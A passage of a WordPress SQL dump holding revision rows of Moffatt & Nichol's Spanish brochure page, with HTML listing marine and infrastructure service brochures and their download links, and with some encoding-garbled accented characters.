title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        La reputaciÃ³n de la excelencia de Moffatt & Nichol en el ambiente costero se basa sobre aÃ±os de experiencia en proyectos desafiantes. La firma ofrece a sus clientes, personal profesional  con amplio conocimiento que incluye ingenieros<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-resources-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-8.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DRAGADO</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol, lÃder en ingenierÃa costera, estÃ¡ a la vanguardia de los servicios especializados en gestiÃ³n de ingenierÃa y construcciÃ³n para proyectos de dragado en mar abierto, puertos, humedales costeros,<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Como una de las firmas especializadas en ingenierÃa y planeamiento marino del mundo, Moffatt & Nichol ha jugado un papel importante en la evoluciÃ³n del puerto moderno. La firma tiene una reputaciÃ³n a nivel mundial<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS FERROVIARIOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n       Moffatt & Nichol se ha especializado en el planeamiento y el diseÃ±o de proyectos de obras civiles de gran capacidad, que incluyen instalaciones de rieles, para clientes en toda NorteamÃ©rica, Europa y LatinoamÃ©rica.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/rail-services-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Las Ã¡reas costeras de hoy en dÃa son catalizadores de la actividad econÃ³mica. La prÃ¡ctica de Moffatt & Nichol en Ã¡reas costeras y marinas se estableciÃ³ en la dÃ©cada de los 60, a medida que se incrementaba la popularidad de<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/URBAN1WATERFRONTS11SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">TERMINALES DE TRANSBORDADORES </span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol es una de las empresas de consultorÃa e ingenierÃa marÃtimas internacionales mÃ¡s grandes del mundo. Su equipo de profesionales ofrece experiencia en el planeamiento y el diseÃ±o de instalaciones relacionadas con ferries.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n    <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">ReparaciÃ³n de astilleros y naves</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol se especializa en todos los aspectos del desarrollo industrial de muelles, incluyendo una vasta experiencia en el diseÃ±o y la rehabilitaciÃ³n de astilleros e instalaciones para la reparaciÃ³n de buques.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/shipyard-and-ship-repair-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SHIPYARD1and1SHIP1REPAIR1FACILITIES1Spanish.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">EnergÃa eÃ³lica</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol tiene la capacidad de ayudar a sus clientes a superar los desafÃos de los proyectos de desarrollo de energÃa eÃ³lica, tanto en alta mar como en tierra firme. Combinamos nuestra experiencia<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/wind-power-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n    <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Desarrollo de terminales de contenedores</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Con dÃ©cadas de experiencia trabajando con autoridades portuarias y operadores mundiales de terminales marÃtimas, Moffatt & Nichol es reconocido como lÃder innovador en la planeaciÃ³n y diseÃ±o de puertos;<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/container-terminal-development-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/CONTAINER1TERMINAL1DEVELOPMENT1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    \r\n  </div>\r\n  </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n','Folletos-Español','','inherit','open','open','','1995-revision-13','','','2012-06-14 12:22:55','2012-06-14 12:22:55','',1995,'http://moffattnichol.com/spanish/1995-revision-13/',0,'revision','',0),(2442,1,'2012-06-14 12:23:28','2012-06-14 12:23:28','<div class=\"content_faq\">\r\n  <div class=\"brochure-wrapper-new\">\r\n    <h3>folletos-español</h3>\r\n    <br />\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol fue fundada en 1945 para proveer servicios de ingeniería y consultoría a la industria marítima. En la actualidad, Moffatt & Nichol brinda apoyo a proyectos portuarios y marinos, infraestructura<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW1BROCHURE1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">MANIPULACIÓN DE GRANELES</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol, una de las empresas de ingeniería y planeamiento marítimo más destacadas del mundo, ofrece a sus clientes una serie completa de servicios de planeamiento y diseño para instalaciones y terminales de manejo de materiales a granel.<br />\r\n        <br />\r\n        <br />\r\n        <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES1Spanish1Portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        La reputación de la excelencia de Moffatt & Nichol en el ambiente costero se basa sobre años de experiencia en proyectos desafiantes. La firma ofrece a sus clientes, personal profesional  con amplio conocimiento que incluye ingenieros<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-resources-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-8.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DRAGADO</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol, lÃder en ingenierÃa costera, estÃ¡ a la vanguardia de los servicios especializados en gestiÃ³n de ingenierÃa y construcciÃ³n para proyectos de dragado en mar abierto, puertos, humedales costeros,<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Como una de las firmas especializadas en ingenierÃa y planeamiento marino del mundo, Moffatt & Nichol ha jugado un papel importante en la evoluciÃ³n del puerto moderno. La firma tiene una reputaciÃ³n a nivel mundial<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS FERROVIARIOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n       Moffatt & Nichol se ha especializado en el planeamiento y el diseÃ±o de proyectos de obras civiles de gran capacidad, que incluyen instalaciones de rieles, para clientes en toda NorteamÃ©rica, Europa y LatinoamÃ©rica.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/rail-services-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Las Ã¡reas costeras de hoy en dÃa son catalizadores de la actividad econÃ³mica. La prÃ¡ctica de Moffatt & Nichol en Ã¡reas costeras y marinas se estableciÃ³ en la dÃ©cada de los 60, a medida que se incrementaba la popularidad de<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/URBAN1WATERFRONTS11SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">TERMINALES DE TRANSBORDADORES </span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol es una de las empresas de consultorÃa e ingenierÃa marÃtimas internacionales mÃ¡s grandes del mundo. Su equipo de profesionales ofrece experiencia en el planeamiento y el diseÃ±o de instalaciones relacionadas con ferries.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n    <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">ReparaciÃ³n de astilleros y naves</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol se especializa en todos los aspectos del desarrollo industrial de muelles, incluyendo una vasta experiencia en el diseÃ±o y la rehabilitaciÃ³n de astilleros e instalaciones para la reparaciÃ³n de buques.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/shipyard-and-ship-repair-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/SHIPYARD1and1SHIP1REPAIR1FACILITIES1Spanish.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">EnergÃa eÃ³lica</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol tiene la capacidad de ayudar a sus clientes a superar los desafÃos de los proyectos de desarrollo de energÃa eÃ³lica, tanto en alta mar como en tierra firme. Combinamos nuestra experiencia<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/wind-power-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n    <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">Desarrollo de terminales de contenedores</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Con dÃ©cadas de experiencia trabajando con autoridades portuarias y operadores mundiales de terminales marÃtimas, Moffatt & Nichol es reconocido como lÃder innovador en la planeaciÃ³n y diseÃ±o de puertos;<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/container-terminal-development-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/CONTAINER1TERMINAL1DEVELOPMENT1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    \r\n  </div>\r\n  </div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n','Folletos-Español','','inherit','open','open','','1995-revision-14','','','2012-06-14 12:23:28','2012-06-14 12:23:28','',1995,'http://moffattnichol.com/spanish/1995-revision-14/',0,'revision','',0),(2443,1,'2012-06-14 12:24:41','2012-06-14 12:24:41','<div class=\"content_faq\">\r\n  <div class=\"brochure-wrapper-new\">\r\n    <h3>folletos-español</h3>\r\n    <br />\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DESCRIPCIÓN GENERAL</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol fue fundada en 1945 para proveer servicios de ingeniería y consultoría a la industria marítima. En la actualidad, Moffatt & Nichol brinda apoyo a proyectos portuarios y marinos, infraestructura<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/overview-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OVERVIEW1BROCHURE1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DRAGADO</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        Moffatt & Nichol, una de las empresas de ingeniería y planeamiento marítimo más destacadas del mundo, ofrece a sus clientes una serie completa de servicios de planeamiento y diseño para instalaciones y terminales de manejo de materiales a granel.<br />\r\n        <br />\r\n        <br />\r\n        <br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/bulk-handling-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/BULK1HANDLING1FACILITIES1Spanish1Portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">RECURSOS COSTEROS</span> <br />\r\n        <em class=\"aapa-date\">última actualización 11/2011</em><br />\r\n        La reputación de la excelencia de Moffatt & Nichol en el ambiente costero se basa sobre años de experiencia en proyectos desafiantes. La firma ofrece a sus clientes, personal profesional  con amplio conocimiento que incluye ingenieros<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/coastal-resources-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/COASTAL1ENVIRONMENTAL1WATER1RESOURCES1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-8.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">DRAGADO</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Moffatt & Nichol, lÃder en ingenierÃa costera, estÃ¡ a la vanguardia de los servicios especializados en gestiÃ³n de ingenierÃa y construcciÃ³n para proyectos de dragado en mar abierto, puertos, humedales costeros,<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/dredging-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/DREDGING1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/brochures/brochure-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">PUERTOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Como una de las firmas especializadas en ingenierÃa y planeamiento marino del mundo, Moffatt & Nichol ha jugado un papel importante en la evoluciÃ³n del puerto moderno. La firma tiene una reputaciÃ³n a nivel mundial<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/ports-harbors-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/PORTS1HARBORS1MARINE1TERMINALS1SPANISH.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">SERVICIOS FERROVIARIOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n       Moffatt & Nichol se ha especializado en el planeamiento y el diseÃ±o de proyectos de obras civiles de gran capacidad, que incluyen instalaciones de rieles, para clientes en toda NorteamÃ©rica, Europa y LatinoamÃ©rica.<br />\r\n        <div class=\"moreheadlines-newone\" style=\"font-size:10px; margin-top:5px;\"><a href=\"http://moffattnichol.com/spanish/rail-services-brochure-spanish/\" title=\"Ver\" >Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES1SPANISH1portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></div>\r\n      </div>\r\n      <span class=\"moreheadlines-newone fr\"></span></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-two\">\r\n    <div class=\"brochure-one-leftpart\">\r\n      <div class=\"brochure-black-left\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n      <div class=\"bordhure-text-newpart\"><span class=\"title-brochure-left\">FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</span> <br />\r\n        <em class=\"aapa-date\">Ãºltima actualizaciÃ³n 11/2011</em><br />\r\n        Las Ã¡reas costeras de hoy en dÃa son catalizadores de la actividad econÃ³mica. La prÃ¡ctica de Moffatt & Nichol en Ã¡reas costeras y marinas se estableciÃ³ en la dÃ©cada de los 60, a medida que se incrementaba la popularidad de<br />\r\n        <div 